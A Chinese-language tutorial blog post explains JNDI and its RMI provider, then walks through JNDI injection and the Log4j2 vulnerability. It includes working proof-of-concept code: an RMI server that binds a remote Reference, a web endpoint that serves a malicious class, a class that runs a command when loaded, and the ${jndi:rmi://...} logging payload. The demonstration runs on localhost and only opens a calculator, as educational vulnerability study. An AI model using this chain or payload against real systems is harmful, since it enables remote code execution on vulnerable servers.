说起JNDI,从事JavaEE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?
先来看看Sun官方的解释:
概念是不是很抽象,读了好几遍都没懂?一图胜千言:
看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,NamingService这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。
如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。
总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。
最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。
命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domainnamingservice,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。
JNDI通常分为三层:
JNDIAPI:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。NamingManager:也就是我们提到的命名服务;JNDISPI(ServerProviderInterface):用于具体到实现的方法上。
整体架构分层如下图:
需要注意的是:JNDI同时提供了应用程序编程接口(ApplicationProgrammingInterface,API)和服务提供程序接口(ServiceProviderInterface,SPI)。
这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDISPI发挥作用的舞台。
一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDISPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。
下面再了解一下JNDI容器的概念及应用场景。
JNDI容器环境
JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。
容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。
JNDI应用
JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。
此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?
在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。
关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。
如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。
以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。
这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。
有了以上的概念和基础知识,现在可以开始实战了。
在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。
RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。
可以通过如下代码来搭建一个RMI服务:
//①定义接口publicinterfaceRmiServiceextendsRemote{StringsayHello()throwsRemoteException;}//②接口实现publicclassMyRmiServiceImplextendsUnicastRemoteObjectimplementsRmiService{protectedMyRmiServiceImpl()throwsRemoteException{}@OverridepublicStringsayHello()throwsRemoteException{return"HelloWorld!";}}//③服务绑定并启动监听publicclassRmiServer{publicstaticvoidmain(String[]args)throwsException{Registryregistry=LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099端口");registry.bind("hello",newMyRmiServiceImpl());Thread.currentThread().join();}}上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。
最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。
下面构建客户端访问:
publicclassRmiClient{publicstaticvoidmain(String[]args)throwsException{Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Contextctx=newInitialContext(env);RmiServiceservice=(RmiService)ctx.lookup("hello");System.out.println(service.sayHello());}}其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。
执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。
常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。
在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference。
如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。
RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。
基本流程如下:
修改RmiServer的代码实现:
其中绑定的Reference涉及三个变量:
此时,通过Python启动一个简单的HTTP监听服务:
对应的客户端代码修改为如下:
publicclassRmiClient{publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Contextctx=newInitialContext(env);ctx.lookup("hello");}}执行,客户端代码,发现Python监听的服务打印如下:
127.0.0.1--[12/Dec/202116:19:40]code404,messageFilenotfound127.0.0.1--[12/Dec/202116:19:40]"GET/Calc.classHTTP/1.1"404-可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。
上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和SpringBootWeb服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。
上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。
第一步:构建攻击类
创建一个攻击类BugFinder,用于启动本地的计算器:
publicclassBugFinder{publicBugFinder(){try{System.out.println("执行漏洞代码");String[]commands={"open","/System/Applications/Calculator.app"};Processpc=Runtime.getRuntime().exec(commands);pc.waitFor();System.out.println("完成执行漏洞代码");}catch(Exceptione){e.printStackTrace();}}publicstaticvoidmain(String[]args){BugFinderbugFinder=newBugFinder();}}本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。
将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。
第二步:构建Web服务器
Web服务用于RMI调用时返回攻击类文件。这里采用SpringBoot项目,核心实现代码如下:
@RestControllerpublicclassClassController{@GetMapping(value="/BugFinder.class")publicvoidgetClass(HttpServletResponseresponse){Stringfile="/Users/zzs/temp/BugFinder.class";FileInputStreaminputStream=null;OutputStreamos=null;try{inputStream=newFileInputStream(file);byte[]data=newbyte[inputStream.available()];inputStream.read(data);os=response.getOutputStream();os.write(data);os.flush();}catch(Exceptione){e.printStackTrace();}finally{//省略流的判断关闭;}}}在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。
第三步:修改RmiServer
对RmiServer的绑定做一个修改:
第四步:执行客户端代码
执行客户端代码进行访问:
publicclassRmiClient{publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Contextctx=newInitialContext(env);ctx.lookup("hello");}}本地计算器被打开:
上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。
在SpringBoot项目中引入了log4j2的受影响版本:
修改一下RMI的Server代码:
publicclassRmiServer{publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registryregistry=LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099端口");Referencereference=newReference("com.secbro.rmi.BugFinder","com.secbro.rmi.BugFinder",null);ReferenceWrapperreferenceWrapper=newReferenceWrapper(reference);registry.bind("hello",referenceWrapper);Thread.currentThread().join();}}这里直接访问BugFinder,JNDI绑定名称为:hello。
客户端引入Log4j2的API,然后记录日志:
importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclassRmiClient{privatestaticfinalLoggerlogger=LogManager.getLogger(RmiClient.class);publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");logger.error("${jndi:rmi://127.0.0.1:1099/hello}");Thread.sleep(5000);}}日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMIServer的地址和绑定的名称。
执行程序,发现计算器被成功打开。
当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在SpringBoot中定义如下代码:
至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。
JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。
另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。